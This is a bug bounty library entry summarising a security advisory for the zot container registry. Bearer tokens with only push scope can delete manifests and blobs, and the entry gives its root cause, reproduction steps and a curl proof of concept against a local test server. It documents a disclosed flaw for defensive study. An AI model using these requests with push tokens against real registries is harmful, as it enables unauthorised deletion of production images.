# zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion

zot maps all non-GET/HEAD methods to the push scope and skips its authz middleware for bearer auth, so push-only tokens can delete manifests and blobs.

- Payout: Research
- Severity: high
- Program: zot
- Found by: GimmyDatBeeR
- Disclosed: 2026-09-18
- CVE: CVE-2026-61833
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qg67-7m6v-qg25
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qg67-7m6v-qg25
- Tags: area:cloud domain:infra impact:dos impact:integrity kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation

**Target:** OCI registry HTTP API (/v2 manifests and blobs endpoints)
**Root cause:** The bearer authn handler collapses DELETE/PUT/PATCH/POST into the "push" action and never assigns "delete"; the DistSpecAuthzHandler middleware that infers fine-grained actions is bypassed for BEARER-authenticated requests, and DeleteManifest/DeleteBlob do no independent delete-permission check.
**Steps:**
1. Configure zot with bearer authentication pointing to a token server.
2. Obtain a bearer token with scope `repository:poc-test:pull,push` (no delete).
3. Upload a config blob: `curl -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/octet-stream" -X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" -d '{}'` → 201.
4. Push manifest `v1.0` via `PUT /v2/poc-test/manifests/v1.0` with the same token → 201.
5. DELETE the manifest: `curl -H "Authorization: Bearer $TOKEN" -X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"` → 202 Accepted (expected 401).
6. GET the manifest → 404 Not Found, confirming permanent deletion.
**How found:** Code reading of the bearer authn method-to-action mapping (binary GET/HEAD vs everything-else check) and noticing the DistSpecAuthzHandler early-return for BEARER auth, then comparing against the Docker Distribution token spec and reference implementation which map DELETE to a distinct "delete" action.
**Exploitation:** Any client holding a push-scoped bearer token (e.g. a stolen CI token) issues DELETE against /v2/<repo>/manifests/<ref> or /v2/<repo>/blobs/<digest>; the request is authorized as "push" and the authz middleware is skipped, so the manifest or blob is deleted within the token's repository scope.
**Escalation:** Deleting tags/blobs renders production images unpullable and allows rewriting image history by removing specific tags.
**Insight:** When a registry implements its own token authn, check whether method→scope-action mapping is a binary GET/HEAD-vs-rest check and whether the fine-grained authz middleware early-returns for bearer auth; a push token then silently carries delete rights.

## Proof of concept (copied exactly from the original report)

**DELETE manifest with push-only token**

```
curl -H "Authorization: Bearer $TOKEN" \
  -X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 202 Accepted (VULNERABLE)
```

**Push manifest with push token**

```
curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
  -X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
  -d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
# → 201 Created
```

**Upload config blob via POST**

```
curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/octet-stream" \
  -X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \
  -d '{}'
# → 201 Created
```

